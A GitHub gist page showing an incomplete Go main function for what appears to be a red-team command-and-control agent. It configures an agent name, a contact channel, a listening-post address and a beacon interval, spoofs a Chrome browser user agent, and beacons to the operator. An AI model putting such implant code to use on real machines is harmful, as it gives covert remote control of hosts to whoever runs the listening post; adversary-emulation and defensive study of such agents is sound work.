Skip to content

Instantly share code, notes, and snippets.

Last active Dec 31, 2020
What would you like to do?
f33d: main.go
func main() {
name := flag.String("name", pickName(12), "Give this agent a name")
contact := flag.String("contact", "tcp", "Which contact to use")
address := flag.String("address", "", "The ip:port of the socket listening post")
group := flag.String("range", "red", "Which range to associate to")
sleep := flag.Int("sleep", 60, "Number of seconds to sleep between beacons")
useragent := flag.String("useragent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36", "User agent used when connecting")
sockets.UA = *useragent
if !strings.Contains(*address, ":") {
log.Println("Your address is incorrect")
log.Printf("[%s] agent at PID %d using key %s", *contact, os.Getpid(), key)
sockets.CommunicationChannels[*contact].Communicate(*address, *sleep, buildBeacon(*name, *group))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment